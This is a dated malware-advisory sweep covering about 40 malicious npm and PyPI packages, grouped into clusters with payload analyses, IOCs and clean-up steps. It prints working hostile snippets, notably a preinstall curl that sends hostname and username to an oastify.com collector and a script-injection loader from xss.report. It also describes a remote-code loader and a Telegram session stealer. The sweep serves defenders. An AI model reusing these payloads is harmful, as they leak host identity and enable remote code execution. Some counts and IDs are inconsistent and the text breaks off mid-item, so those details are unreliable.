GitHub Advisory malware sweep, 22 September 2026
GHSA 2026-09-21 (late) + 2026-09-22: ~25 new npm advisories + 2 pip. Day 5 of the oob.algamil7x.xyz DNS-OOB operator adds @baanx/abis and @baanx/blockchain-config at 9.9.11. Three hardhat-* typosquats (Ethereum toolchain) carry real axios-loader RCE via ipcheck-hashed.vercel.app. @uh-platform/* (5 pkgs) plus @uol-afiliados and @asdfaskdjfksadhfkasf fire Burp Collaborator OOB. pip pullgetsage archives Telegram Desktop tdata and POSTs to Cloudflare Workers.
Published 22 Sept 2026
Every version named by the advisory is in the scanner, so a lockfile check finds it directly.
- Severity
- High
- Type
- Advisory sweep
- Published
- 22 Sept 2026
- Ecosystems
- npmPyPI
- Detected by
- GitHub Advisory Database, OpenSSF malicious-packages, OpenSSF Package Analysis, Amazon Inspector, ESTsecurity, kam193/bad-packages, jaschadub/compromised-packages-check
- Also known as
- 2026-09-22 GHSA npm sweep, @baanx/abis + @baanx/blockchain-config algamil7x.xyz day 5, hardhat-* ipcheck-hashed.vercel.app axios-loader RCE
- Source
- github.com
Advisory sweep. A dated batch of GitHub Advisory Database malware entries collected together. A sweep mixes kinds - typosquats, dependency-confusion probes, boilerplate takedowns with no published analysis, and occasionally real payloads - and its severity reflects the worst confirmed item, not the batch as a whole.
The full picture
Between roughly 2026-09-21 12:00 UTC and 2026-09-22 12:00 UTC, GitHub Advisory Database (plus the OpenSSF malicious-packages bulk export and Amazon Inspector's IN-MAL feed) published approximately 25 new npm malware advisories and 2 pip advisories. The window is dominated by two operator continuations from prior days plus one new typosquat wave with confirmed require-time RCE.
Cluster A - @baanx/* oob.algamil7x.xyz DNS-OOB (day 5)
| Package | Version | MAL | Prefix |
|---|---|---|---|
@baanx/abis | 9.9.11 | MAL-2026-16351 | bxabis |
@baanx/blockchain-config | 9.9.11 | MAL-2026-16352 | bxcfg |
Both published 2026-09-21 16:52-53 UTC and detected by Amazon Inspector within minutes. The install chain matches the 2026-09-21 @baanx/solana-lib (Cluster B of that sweep) verbatim: scripts.install: node index.js loads a runtime/support/telemetry/probe/impl.js module which reads os.userInfo().username, os.hostname(), and process.cwd() basename via module.constructor._load (indirect Node builtin resolution to defeat static analysis), concatenates with a timestamp and a per-package prefix, and issues a dns.resolve4 on <prefix>-<user>-<host>-<cwd>.<ts>.oob.algamil7x.xyz. Sibling probe/*.js files (c7a1f4.js and f0d4b7.js this time) carry String.fromCharCode hex-array obfuscation of method names and destination domain plus telemetry/connectivity probe cover-story comments. Same operator, same DNS zone, same code style - now spanning eight consecutive days.
Day tally so far: day 1 (2026-09-18, @tink/tink-link-core@9.9.10, tinkcore), day 2 (2026-09-19, four @shared-web/@shared-runtime/@insiderintelligence packages at 9.9.10), day 3 (quiet), day 4 (2026-09-21, @baanx/solana-lib@9.9.9/9.9.10, bxsol), day 5 (today, @baanx/abis + @baanx/blockchain-config at 9.9.11, bxabis + bxcfg). Expect day 6 tomorrow under yet another internal-lookalike scope.
Cluster B - hardhat-* axios-loader RCE typosquat wave
| Package | Versions | MAL | First seen | Unpublished |
|---|---|---|---|---|
hardhat-base | 2.2.0, 2.2.2 | MAL-2026-16348 | 2026-09-14 02:55 UTC | 2026-09-14 13:49 UTC (~10 h) |
hardhat-core | 1.0.0, 2.1.2 | MAL-2026-3713 | 2026-05-13 11:45 UTC (1.0.0), 2026-09-17 00:30 UTC (2.1.2) | 2026-09-17 02:40 UTC (2.1.2, ~2 h) |
hardhat-devkit | 2.3.6 | MAL-2026-16349 | 2026-09-17 21:49 UTC | 2026-09-17 22:36 UTC (~47 min) |
All three impersonate the Ethereum hardhat toolchain. hardhat-base's README self-identifies as such and copies pino logger badges as further camouflage. Shared payload primitive:
- Module exports a "middleware" function
- On invocation,
child_process.spawna detached Node process runninglib/caller.js lib/caller.jsbase64-decodes a hardcoded URL held in a fakeDEV_API_KEYprocess shim (decodes tohttps://ipcheck-hashed.vercel.app/api/auth/f1f097d93c318c92f0c5forhardhat-core)- POSTs to that endpoint via axios
- Passes the response body to
new Function.constructor('require', responseBody) - Invokes the resulting function with the real
require
The anonymous Vercel-hosted endpoint gets arbitrary Node RCE with full module-system access, and the payload can be swapped without republishing the package. Same architectural class as chai-testing (Cluster D of 2026-09-21 sweep) but with the Vercel-hosted RCE endpoint (ipcheck-hashed.vercel.app) instead of an inline Function() build.
All three packages were operator-unpublished within hours of publish. Private mirrors and npm-follower feeds may still hold the tarballs. The MAL-2026-3713 record for hardhat-core@1.0.0 dates to 2026-05-13 (long-standing squat); the operator republished the same primitive under hardhat-core@2.1.2 on 2026-09-17 and then extended into hardhat-base and hardhat-devkit. This is one operator, three package names.
Cluster C - @uh-platform/* + @uol-afiliados + @asdfaskdjfksadhfkasf Burp Collaborator OOB dep-confusion
| Package | Version | GHSA | MAL |
|---|---|---|---|
@uh-platform/cloud | 101.0.0 | GHSA-g4jv-48fc-mhh2 | MAL-2026-16358 |
@uh-platform/domain-widget | 100.0.0 | GHSA-xh82-8x4m-9w6c | MAL-2026-16359 |
@uh-platform/nadaver | 102.0.0 | - | MAL-2026-16360 |
@uh-platform/nadaver2 | 102.0.0 | GHSA-99r3-9hc2-372p | MAL-2026-16361 |
@uh-platform/webcard | 99.0.0 | GHSA-5h99-j25f-5q62 | MAL-2026-16362 |
@uol-afiliados/affiliated-config-lib | 102.0.0 | GHSA-mh6g-473c-fvhx | MAL-2026-16370 |
@asdfaskdjfksadhfkasf/nadaver2 | 102.0.0 | - | MAL-2026-16357 |
All seven published 2026-09-21 17:17-19:21 UTC (2-hour window; one operator engagement). Manifest descriptions read "Nodejs SDK for Redacted". Sentinel dep-confusion versions (99.0.0-102.0.0) squat plausibly-internal names. Payload:
// scripts.preinstall: node index.js
child_process.exec(`curl http://$(hostname).$(whoami).pa33pg1od9cr4ffnrzec8864jvpmdd12.oastify.com/`)On install, the operator sees the source IP, hostname, and OS username of every host that resolved one of these dep-confusion names ahead of an internal registry. The @uol-afiliados variant curls a namespace-scoped URL (pa33pg1od9cr4ffnrzec8864jvpmdd12.oastify.com/[package]). The @asdfaskdjfksadhfkasf/nadaver2 scope is spam-labelled iteration by the same operator (likely test publishes).
Pentest-shaped but every install leaks real host identity. Same Burp Collaborator subdomain across all seven packages confirms single-operator attribution.
Cluster D - @vite-*/* + @vitets six-package batch quarantine
| Package | Version | GHSA | First seen | Quarantined |
|---|---|---|---|---|
@vite-tab/tab | 3.15.10, 5.7.0 | GHSA-74pv-97c8-9hfp | 2026-06-30 06:51 UTC | 2026-09-21 23:16 UTC |
@vite-tab/tabui | 7.15.16 | GHSA-q5h9-3mvh-45cf | 2026-07-14 06:45 UTC | 2026-09-21 23:15 UTC |
@vitets/vite-ts | 1.5.10 | GHSA-733v-wc48-f65r | 2026-06-29 20:57 UTC | 2026-09-21 23:16 UTC |
@vite-pro/vite-ui | 2.5.10 | GHSA-phpx-wpr2-26pv | 2026-06-29 20:38 UTC | 2026-09-21 23:14 UTC |
@vite-mcp/vite-type | 6.44.1 | GHSA-mqf9-3wx8-45cj | 2026-06-29 20:03 UTC | 2026-09-21 23:12 UTC |
@vite-ts/vite-ui | 6.44.1 | GHSA-jm6h-xxm2-2mr3 | 2026-06-29 20:18 UTC | 2026-09-21 23:12 UTC |
All six had a single "legit-looking" version published 2026-06-29 through 2026-07-14 (a coordinated multi-scope typosquat wave against the Vite toolchain), remained live for 2-3 months, and were batch-quarantined by npm in a 4-minute window on 2026-09-21 23:12-23:16 UTC. The advisories carry the generic CWE-506 boilerplate but the naming pattern (@vite-tab, @vitets, @vite-pro, @vite-mcp, @vite-ts all publishing packages named tab/tabui/vite-ts/vite-ui/vite-type) is a classic typosquat cluster. Any lockfile with a hit was exposed for ~11 weeks.
Cluster E - Aug 4 residual typosquat batch quarantine
| Package | Version | GHSA | First seen | Quarantined |
|---|---|---|---|---|
test-react-app-in | 1.0.0 | GHSA-wm2w-4m2r-mv73 | 2026-08-04 19:13 UTC | 2026-09-22 03:15 UTC |
test-react-app-out | 1.0.0 | GHSA-vx3p-fwmg-p7g8 | 2026-08-04 19:14 UTC | 2026-09-22 03:15 UTC |
test-react-app-way | 1.0.0 | GHSA-264w-9h55-v637 | 2026-08-04 19:13 UTC | 2026-09-22 03:15 UTC |
de-morgan | 2.1.3 | GHSA-2vc2-gwg3-2gpx | 2026-08-04 19:28 UTC | 2026-09-22 03:15 UTC |
transform-es2015-unicode-regex | 6.24.1 | GHSA-jcxm-5v55-599q | 2026-08-04 19:36 UTC | 2026-09-22 03:15 UTC |
emoji-prints-fancy | 5.6.4 | GHSA-m523-mggx-3fgr | 2026-07-19 09:49 UTC | 2026-09-22 03:16 UTC |
Batch-quarantined by npm in a 90-second window on 2026-09-22 03:15-03:16 UTC. All six had a single version published within a 23-minute burst on 2026-08-04 19:13-19:36 UTC (except emoji-prints-fancy which landed two weeks earlier). This window overlaps the 2026-08-04 keyv/cacheable Shai-Hulud storm - late catch by npm's malware review of adjacent typosquat activity.
transform-es2015-unicode-regex@6.24.1 is notable: it mimics the version series of the legitimate Babel plugin babel-plugin-transform-es2015-unicode-regex@6.24.1 (dropping the babel-plugin- prefix). A lockfile grep for the legitimate name won't catch it. de-morgan@2.1.3 and emoji-prints-fancy@5.6.4 reuse plausible version numbers to look established on a registry search. GHSA bodies are generic CWE-506 boilerplate; the specific payload is not disclosed but the batch quarantine implies a real one.
Cluster F - math-* typosquat batch quarantine
math-universe@1.0.0/1.0.1/1.0.2 (GHSA-97cg-r346-fg22, MAL-2026-16367), mathmain@1.0.0 (GHSA-v6mx-2p6p-3628, MAL-2026-16368), and mathsbase@1.0.0/1.0.1/1.0.2 (GHSA-v4cx-64j6-84xm, MAL-2026-16369). All quarantined 2026-09-21 19:48-20:06 UTC. Lookalikes for mathjs/math-utils/mathbase. CWE-506 boilerplate advisories.
Cluster G - pip pullgetsage Telegram Desktop tdata stealer
pullgetsage@0.1.2 (MAL-2026-16366, GHSA-4whg-cvj9-8v3f). Description advertises "a library filled with books"; actual behaviour on install/import:
- Locates the installer's Telegram Desktop
tdatadirectory (contains active session credentials) - Archives it into a zip named
aiosendletter_logs - POSTs the zip to a hardcoded Cloudflare Workers endpoint
- Prints
"aioletter initialized"and swallows any exception
Successful exfil = full account takeover of the installer's Telegram: message history, contact list, MFA codes routed through Telegram, admin rights on any bot/channel the installer manages. Same architectural class as SysBumps / TelegramGrabber but with a Cloudflare Workers front (bypasses simple IP-based egress filters).
Cluster H - pentest/CTF/research artefacts (real payloads, non-hostile framing)
bnppf-flag-icons@99.99.99(MAL-2026-16350): self-labelled "SECURITY RESEARCH POC - see README"; BNPPF = BNP Paribas Fortis; sentinel99.99.99version patternradio-player-theme@1.0.0-6.0.0(MAL-2026-16347): self-labelled "YWH bug bounty CSS injection live-C2 proof — stage 4 XSS escalation"; six versions on YesWeHack bounty engagement between 2026-09-11 and 2026-09-19my-ctf-helper-script-9921@1.0.0(GHSA-qhgh-m36j-h879, MAL-2026-16365): CTF-labelled name, real payload: top-levelfetchto hardcoded webhook.site collector withdocument.cookiein query string onrequire/import. Browser-tier cookie exfil if loaded via unpkg or bundled with a require-at-build toolbytepack-probe-a7x3@1.0.0/1.0.1(GHSA-pjjj-2389-rwj6, MAL-2026-16364): declares aleak-internaldependency pointing to an external HTTPS tarball on an internal-looking domain; onnpm installthe tarball is fetched with no integrity check and its install script fires an SSRF probe from inside the installer's network. Operator-unpublished 7 minutes after publish- pip
starlette-healthchecks@1.3.1/1.3.2(MAL-2026-16356 per OpenSSF): typosquat of legitimatestarlette-healthcheck(single "check"), telemetry probe on install; both versions still live on PyPI at publish time. Neutral framing but real network exfil
Cluster I - blue-string-formatter-utilss xss.report DOM loader
blue-string-formatter-utilss@1.2.0 (GHSA-4g26-86h7-34h3, MAL-2026-16363). Impersonates a string-formatting utility. payload.js IIFE:
(function(){
const s = document.createElement('script');
s.src = 'https://xss.report/c/k3rne111';
document.body.appendChild(s);
})();xss.report is a known XSS payload-distribution service; the injected script is attacker-controlled and can be swapped without republishing. Fires in any DOM environment: bundlers that vendor into browser builds, unpkg loaders, jsdom test runners. Operator-unpublished within an hour of publish (2026-09-17 21:20-22:35 UTC) but the tarball may still be cached by private mirrors.
Cluster J - misc quarantines (payload not disclosed in GHSA body)
@zig-design-system/react@99.0.0(GHSA-rqjq-px4f-2m8r): Zig design-system typosquat; sentinel99.0.0; quarantined 2026-09-21 23:39 UTC@woodpecker-web-shared/components@1.20.4/2.20.5/4.20.5(MAL-2026-16354): Woodpecker CI web-shared component impersonation with inflated majors; three versions published within 2 hours on 2026-09-21wos-library@99.0.0/999.999.999+wos-library-ui@99.0.0/999.999.999(GHSA-mfwv-9gcf-2mww, GHSA-wh36-rj36-m3ff, MAL-2026-16373): sentinel dep-confusion pair, quarantined 2026-09-21 23:36 UTCreact-context-form-tdsss@9.0.0(GHSA-pg33-6m24-4p63, MAL-2026-16372): sentinel major on areact-context-form-lookalike name
Cross-operator patterns worth flagging
- The
oob.algamil7x.xyzDNS-OOB operator is on day 5 (fourth publish day; day 3 was quiet). New scopes each day (@tink,@shared-web/@shared-runtime/@insiderintelligence,@baanx) but the same DNS zone, same code style, sameString.fromCharCodeobfuscation, samemodule.constructor._loadevasion. If your egress rules still allow lookups againstalgamil7x.xyz, you have missed the durable IOC of this operator. - *The `hardhat-
axios-loader RCE is a new operator with a Vercel-hosted C2.** The primitive (detached child + base64-decoded URL + axios POST +Function.constructoreval) is the same architectural class aschai-testing(2026-09-21 Cluster D) but the C2 is different (ipcheck-hashed.vercel.app, not the inlineFunction()` build). Vercel-hosted C2 endpoints are becoming a pattern - they inherit Vercel's TLS and reputation, so plain domain-reputation egress filters miss them. - Burp Collaborator OOB is now a per-day fixture. Different operators, different subdomains (
pa33pg1od9cr4ffnrzec8864jvpmdd12.oastify.comtoday vs. others yesterday), but*.oastify.comis now consistently in the daily sweep. - Late-catch batch quarantines are compressing. npm quarantined the
@vite-*/*cluster (6 packages) in a 4-minute window and the Aug 4 residual cluster (6 packages) in a 90-second window. This is npm review triaging deferred cases in operator-grouped batches, and it means a lockfile hit today may correspond to exposure that started months ago. - Telegram Desktop
tdatais now a documented pip-side exfil target.pullgetsageis the first Telegram credential stealer in the DependencyWatch corpus. Thetdatadirectory is a well-known Windows/macOS session-token store and other stealer families are likely to follow.
Registry state
All packages in Clusters A, D, E, F, I, J are flagged as malware on npm and quarantined (replaced with the 0.0.1-security holding package). Cluster B (hardhat-*) and Cluster H's bytepack-probe-a7x3 were operator-unpublished within hours; the tarballs may still be reachable via npm follower feeds and private mirrors. Cluster C (@uh-platform/*, @uol-afiliados, @asdfaskdjfksadhfkasf) is still live at publish time. Cluster G (pullgetsage) and Cluster H's starlette-healthchecks remain live on PyPI at publish time.
Durable network-edge mitigations: egress blocks on oob.algamil7x.xyz, ipcheck-hashed.vercel.app, *.oastify.com (or the specific pa33pg1od9cr4ffnrzec8864jvpmdd12 subdomain), xss.report, webhook.site, and unexpected Cloudflare Workers subdomains from CI runners.
Discovery credits
GitHub Advisory Database, OpenSSF malicious-packages, OpenSSF Package Analysis, Amazon Inspector, ESTsecurity, kam193/bad-packages, jaschadub/compromised-packages-check (PR #136). Per-package IOC details drawn from GHSA and OpenSSF osv/malicious/ advisory bodies published between 2026-09-21 12:00 UTC and 2026-09-22 12:00 UTC.
39 packages 57 versions
- npm@asdfaskdjfksadhfkasf/nadaver2102.0.0→
- npm@baanx/abis9.9.11→
- npm@baanx/blockchain-config9.9.11→
- npm@uh-platform/cloud101.0.0→
- npm@uh-platform/domain-widget100.0.0→
- npm@uh-platform/nadaver102.0.0→
- npm@uh-platform/nadaver2102.0.0→
- npm@uh-platform/webcard99.0.0→
- npm@uol-afiliados/affiliated-config-lib102.0.0→
- npm@vite-mcp/vite-type6.44.1→
- npm@vite-pro/vite-ui2.5.10→
- npm@vite-tab/tab3.15.105.7.0→
- npm@vite-tab/tabui7.15.16→
- npm@vite-ts/vite-ui6.44.1→
- npm@vitets/vite-ts1.5.10→
- npm@woodpecker-web-shared/components1.20.42.20.54.20.5→
- npm@zig-design-system/react99.0.0→
- npmblue-string-formatter-utilss1.2.0→
- npmbnppf-flag-icons99.99.99→
- npmbytepack-probe-a7x31.0.01.0.1→
- npmde-morgan2.1.3→
- npmemoji-prints-fancy5.6.4→
- npmhardhat-base2.2.02.2.2→
- npmhardhat-core1.0.02.1.2→
- npmhardhat-devkit2.3.6→
- npmmath-universe1.0.01.0.11.0.2→
- npmmathmain1.0.0→
- npmmathsbase1.0.01.0.11.0.2→
- npmmy-ctf-helper-script-99211.0.0→
- PyPIpullgetsage0.1.2→
- npmradio-player-theme1.0.02.0.03.0.04.0.05.0.06.0.0→
- npmreact-context-form-tdsss9.0.0→
- PyPIstarlette-healthchecks1.3.11.3.2→
- npmtest-react-app-in1.0.0→
- npmtest-react-app-out1.0.0→
- npmtest-react-app-way1.0.0→
- npmtransform-es2015-unicode-regex6.24.1→
- npmwos-library99.0.0999.999.999→
- npmwos-library-ui99.0.0999.999.999→
These are usually pulled in as transitive dependencies rather than installed directly. Check your whole tree at once. It runs in your browser and nothing is uploaded.
What it does if you installed it
- *Cluster A - npm `@baanx/
oob.algamil7x.xyzDNS-OOB (day 5 of the operator; newbxabis+bxcfgprefixes)**:@baanx/abis@9.9.11(MAL-2026-16351, published 2026-09-21 17:15 UTC) and@baanx/blockchain-config@9.9.11(MAL-2026-16352, same publish window). Same install-chain and evasion as the 2026-09-21@baanx/solana-lib(Cluster B of that sweep):scripts.install: node index.jsloadsruntime/support/telemetry/probe/impl.js, which readsos.userInfo().username,os.hostname(), andprocess.cwd()basename viamodule.constructor._load(indirect Node builtin resolution to defeat static analysis), joins them with a timestamp and a per-package prefix (bxabisfor@baanx/abis,bxcfgfor@baanx/blockchain-config, matching thebxsolprefix used yesterday on@baanx/solana-lib), and issues adns.resolve4on<prefix>-<user>-<host>-<cwd>.<ts>.oob.algamil7x.xyz. Siblingprobe/*.jsfiles carryString.fromCharCodehex-array obfuscation andtelemetry/connectivity probe` cover-story comments. Same operator, same DNS zone, same code style as days 1-4 (2026-09-18 through 2026-09-21). Amazon Inspector flagged both within minutes of each other - *Cluster B - npm `hardhat-
Ethereum-toolchain typosquat wave withipcheck-hashed.vercel.appaxios-loader RCE**:hardhat-base@2.2.0/2.2.2(MAL-2026-16348),hardhat-core@1.0.0/2.1.2(MAL-2026-3713, republished 2026-09-17 after the original May 13 detection),hardhat-devkit@2.3.6(MAL-2026-16349). Three packages impersonate the Ethereumhardhattoolchain (README self-identifies ashardhat-base, copiespinologger badges as camouflage). Shared payload primitive: the exported "middleware" spawns a *detached* Node child that runslib/caller.js; the child base64-decodes a hardcoded URL held in a fakeDEV_API_KEYprocess shim (decodes tohttps://ipcheck-hashed.vercel.app/api/auth/f1f097d93c318c92f0c5forhardhat-core), POSTs to it via axios, and passes the response body tonew Function.constructor('require', s)invoked with the realrequire. This grants the anonymous Vercel-hosted endpoint arbitrary Node RCE with full module-system access. All three packages were operator-unpublished within hours (hardhat-base ~2h, hardhat-core-2.1.2 ~2h, hardhat-devkit ~47min) — but private mirrors and npm followers may still hold the tarballs. Same architectural class aschai-testing` (Cluster D of 2026-09-21 sweep) — detached require-time RCE via axios - *Cluster C - npm `@uh-platform/
+@uol-afiliados/affiliated-config-lib+@asdfaskdjfksadhfkasfBurp Collaborator OOB dep-confusion (single-operator engagement)**: 5x@uh-platform—cloud@101.0.0(GHSA-g4jv-48fc-mhh2, MAL-2026-16358),domain-widget@100.0.0(GHSA-xh82-8x4m-9w6c, MAL-2026-16359),nadaver@102.0.0(MAL-2026-16360),nadaver2@102.0.0(GHSA-99r3-9hc2-372p, MAL-2026-16361),webcard@99.0.0(GHSA-5h99-j25f-5q62, MAL-2026-16362); plus@uol-afiliados/affiliated-config-lib@102.0.0(GHSA-mh6g-473c-fvhx, MAL-2026-16370) and@asdfaskdjfksadhfkasf/nadaver2@102.0.0(MAL-2026-16357). All published 2026-09-21 17:17-19:21 UTC with sentinel dep-confusion versions (99.0.0-102.0.0) and manifest description "Nodejs SDK for Redacted". Preinstall runsnode index.jswhich invokeschild_process.execon a curl command whose URL embeds$(hostname).$(whoami)(some variants use$(hostname)as a DNS subdomain ofpa33pg1od9cr4ffnrzec8864jvpmdd12.oastify.com, some POST to it directly) — leaks source IP, hostname, and OS username to a Burp Collaborator instance. Pentest-shaped but the collector harvests real host identity from every install. The@asdfaskdjfksadhfkasf` scope is a spam-labelled iteration by the same operator - *Cluster D - npm `@vite-/
+@vitets` six-package batch quarantine (typosquat wave from June-July 2026)*:@vite-tab/tab@3.15.10/5.7.0(GHSA-74pv-97c8-9hfp, MAL-2026-6988),@vite-tab/tabui@7.15.16(GHSA-q5h9-3mvh-45cf, MAL-2026-16371),@vitets/vite-ts@1.5.10(GHSA-733v-wc48-f65r),@vite-pro/vite-ui@2.5.10(GHSA-phpx-wpr2-26pv),@vite-mcp/vite-type@6.44.1(GHSA-mqf9-3wx8-45cj),@vite-ts/vite-ui@6.44.1(GHSA-jm6h-xxm2-2mr3). All six had a single "legitimate-looking" version published 2026-06-29 through 2026-07-14 and were batch-quarantined by npm 2026-09-21 23:12-23:16 UTC (four-minute window; single ticket sweep). Advisory bodies carry the generic CWE-506 "any computer that has this package installed should be considered fully compromised" boilerplate — the specific per-package payload was not disclosed in the GHSA bodies, but the coordinated multi-scope naming (@vite-tab,@vitets,@vite-pro,@vite-mcp,@vite-ts) is a classic typosquat cluster targeting the Vite toolchain - Cluster E - npm
test-react-app-{in,out,way}+de-morgan+transform-es2015-unicode-regex+emoji-prints-fancyAug 4 residual typosquat batch quarantine:test-react-app-in@1.0.0(GHSA-wm2w-4m2r-mv73),test-react-app-out@1.0.0(GHSA-vx3p-fwmg-p7g8),test-react-app-way@1.0.0(GHSA-264w-9h55-v637),de-morgan@2.1.3(GHSA-2vc2-gwg3-2gpx),transform-es2015-unicode-regex@6.24.1(GHSA-jcxm-5v55-599q),emoji-prints-fancy@5.6.4(GHSA-m523-mggx-3fgr). All were published in the 2026-08-04 window (exceptemoji-prints-fancyon 2026-07-19) and batch-quarantined by npm 2026-09-22 03:15-03:16 UTC (90-second sweep window).transform-es2015-unicode-regex@6.24.1mimics the version series of the real Babel pluginbabel-plugin-transform-es2015-unicode-regex@6.24.1;de-morgan@2.1.3andemoji-prints-fancy@5.6.4reuse legitimate-looking version numbers to look plausible on a registry search. Late catch of an Aug 4 typosquat wave that landed alongside the keyv/cacheable Shai-Hulud storm. GHSA bodies are generic CWE-506 boilerplate; treat as install-time compromise until per-package IOC lands - *Cluster F - npm `math-
typosquat batch quarantine**:math-universe@1.0.0/1.0.1/1.0.2(GHSA-97cg-r346-fg22, MAL-2026-16367),mathmain@1.0.0(GHSA-v6mx-2p6p-3628, MAL-2026-16368),mathsbase@1.0.0/1.0.1/1.0.2` (GHSA-v4cx-64j6-84xm, MAL-2026-16369). Quarantined 2026-09-21 19:48-20:06 UTC. All three names are lookalikes for popular math libraries (mathjs, math-utils, mathbase). CWE-506 boilerplate advisories - Cluster G - pip
pullgetsage@0.1.2Telegram Desktoptdatastealer: MAL-2026-16366. Advertises itself as "a library filled with books" — actual behaviour: on install/import, archives the installer's Telegram Desktoptdatadirectory into a zip namedaiosendletter_logsand POSTs it to a hardcoded Cloudflare Workers endpoint.tdatacontains active Telegram session credentials — successful exfil gives the operator full account takeover of the installer's Telegram (message history, contact list, MFA codes routed through Telegram, admin rights on any Telegram bot/channel the installer manages). Concealment: package prints"aioletter initialized"and swallows all exceptions to look like a benign import. Same architectural class as the SysBumps / TelegramGrabber families but with a Cloudflare Workers front (bypasses simple IP-based egress filters) - Cluster H - pentest/CTF/research artefacts:
bnppf-flag-icons@99.99.99(MAL-2026-16350) — self-described "SECURITY RESEARCH POC" (BNPPF = BNP Paribas Fortis; sentinel99.99.99version).radio-player-theme@1.0.0-6.0.0(MAL-2026-16347) — self-described "YWH bug bounty CSS injection live-C2 proof — stage 4 XSS escalation", six versions published 2026-09-11 through 2026-09-19 (YesWeHack bounty engagement).my-ctf-helper-script-9921@1.0.0(GHSA-qhgh-m36j-h879, MAL-2026-16365) — CTF-labelled but real payload: onrequire/import, top-levelfetchto a hardcoded webhook.site collector URL withdocument.cookieappended as a query-string parameter (browser-tier cookie exfil if loaded via unpkg or in a bundler that runsrequireat build).bytepack-probe-a7x3@1.0.0/1.0.1(GHSA-pjjj-2389-rwj6, MAL-2026-16364) — SSRF-probe: package declares aleak-internaldependency pointing to an external HTTPS tarball on an internal-looking domain; onnpm installthe tarball is fetched with no integrity check and its install script fires an SSRF probe from inside the installer's network. Operator-unpublished 7 minutes after publish. pipstarlette-healthchecks@1.3.1/1.3.2(GHSA-4whg-cvj9-8v3f, MAL-2026-16356) — typosquat of legitimatestarlette-healthcheck, telemetry probe (per bad-packages.kam193.eu). All Cluster H items are neutral/research disclosures but the payloads are real; hits should still be treated as compromise - Cluster I - npm
blue-string-formatter-utilss@1.2.0xss.reportDOM loader: GHSA-4g26-86h7-34h3, MAL-2026-16363. Impersonates a string-formatting utility;payload.jsIIFE creates a<script>element withsrc='https://xss.report/c/k3rne111'and appends it todocument.body.xss.reportis a known XSS payload-distribution service — the injected script is attacker-controlled and can be swapped without republishing the package. Fires in any DOM environment: bundlers that vendor the package into a browser build, unpkg loaders, jsdom-based test runners. Operator-unpublished within an hour - Cluster J - npm miscellaneous quarantines (payloads not disclosed in GHSA body):
@zig-design-system/react@99.0.0(GHSA-rqjq-px4f-2m8r) — Zig design-system typosquat, quarantined 2026-09-21 23:39 UTC.@woodpecker-web-shared/components@1.20.4/2.20.5/4.20.5(MAL-2026-16354) — Woodpecker CI web-shared component impersonation with sentinel-like inflated majors, three versions published within 2 hours on 2026-09-21.wos-library@99.0.0/999.999.999+wos-library-ui@99.0.0/999.999.999(GHSA-mfwv-9gcf-2mww + GHSA-wh36-rj36-m3ff, MAL-2026-16373) — sentinel dep-confusion pair quarantined 2026-09-21 23:36 UTC.react-context-form-tdsss@9.0.0(GHSA-pg33-6m24-4p63, MAL-2026-16372) — sentinel major on areact-context-form-lookalike name. All boilerplate CWE-506; treat as install-time compromise pending IOC
Clean-up steps
- Grep every
package-lock.json,yarn.lock,pnpm-lock.yaml,package.json,requirements.txt,Pipfile.lock, andpoetry.lockin your org for every package name in Clusters A through J. Uninstall on hit, wipenode_modules/.venv, delete the lockfile, rebuild against a clean cache. Clusters A, B, C, G, H (subset), and I include real disclosed payloads (DNS-OOB, axios-loader RCE, Burp Collaborator OOB, Telegram tdata stealer, SSRF probe, xss.report DOM loader) - a hit on any of those is a compromise, not a warning - *For Cluster A (`@baanx/
day 5)**: blockoob.algamil7x.xyzat your resolver (same operator zone as the 2026-09-18, 2026-09-19, and 2026-09-21 clusters - now spanning eight days) and add everybx*prefix (bxsol,bxabis,bxcfg) to your DNS monitoring. Any host that installed the packages DNS-resolved a label carrying hostname/username/cwd to the operator - rotate credentials accessible from that host. If your organization owns any@baanxinternal scope, pin it to your private registry with.npmrc; every new day this operator publishes under a fresh internal-looking scope name, so pin-by-scope is a losing game - the durable mitigation is resolver-level DNS blocking ofalgamil7x.xyz` - *For Cluster B (`hardhat-
axios-loader RCE)**: blockipcheck-hashed.vercel.appat CI egress (specifically the/api/auth/f1f097d93c318c92f0c5path). Uninstall on hit and rotate every credential visible to the parent Node process.--ignore-scriptsdoes NOT block this - the RCE fires when the package's exported middleware is invoked, which happens at import/require time in most Hardhat plugin loaders. If any developer or CI job installed ahardhat-package expecting the real Nomic Foundationhardhattoolchain (@nomicfoundation/hardhat-`), treat the workstation as compromised - the fetched payload is attacker-controlled and can be a wallet drainer, a stager, or a credential stealer depending on what the operator serves at the time - *For Cluster C (`@uh-platform/
+@uol-afiliados+@asdfaskdjfksadhfkasfBurp Collaborator)**: block*.oastify.comat CI egress (specificallypa33pg1od9cr4ffnrzec8864jvpmdd12.oastify.com). If your org maintains an internal@uh-platform,@uol-afiliados, or similar-looking scope, pin it to your registry with.npmrc` and configure the internal registry to refuse public-npm publishes under those names. Pentest-shaped but each install leaks source IP, hostname, and OS username - *For Cluster D (`@vite-/` batch)*: uninstall on hit; audit your Vite-tooling supply chain for any of the six exact package names. All were live for 2-3 months before quarantine, so a hit implies extended exposure. Rotate any credentials the parent Node process could reach during that window. Add all six scopes to your registry deny-list for at least 30 days
- *For Cluster E (`test-react-app-
+de-morgan+transform-es2015-unicode-regex+emoji-prints-fancy)**: uninstall on hit.transform-es2015-unicode-regexin particular is dangerous because a lockfile grep forbabel-plugin-transform-es2015-unicode-regexwon't catch it - the malicious name drops thebabel-plugin-prefix. Grep for the baretransform-es2015-unicode-regex` name too. Any lockfile with a hit was exposed for ~7 weeks - *For Cluster F (`math-
batch)**: uninstallmath-universe,mathmain,mathsbaseon hit; verify no lockfile intendedmathjs` and typo'd one of these lookalike names - For Cluster G (
pullgetsagepip Telegram stealer): uninstall on hit AND treat the installer's Telegram account as compromised - log out ALL sessions (Telegram Settings > Devices > Terminate all other sessions), rotate 2FA, and audit sent messages for the past 24h for any evidence of operator interaction. If the installer was a Telegram bot admin, rotate the bot token immediately - thetdataarchive contains stored bot credentials - For Cluster H (pentest/CTF artefacts): uninstall on hit. For
bnppf-flag-iconsandradio-player-theme, these look neutral-research but the payloads are still live - block the collector domains. Formy-ctf-helper-script-9921, blockwebhook.siteat your CDN/CSP if any web build vendored the package. Forbytepack-probe-a7x3, no npm-side residue if you didn't install during its 7-minute window, but private mirrors that snapshotted it may still serve it. For pipstarlette-healthchecks, rename tostarlette-healthcheck(single "check") if you meant the legit package - For Cluster I (
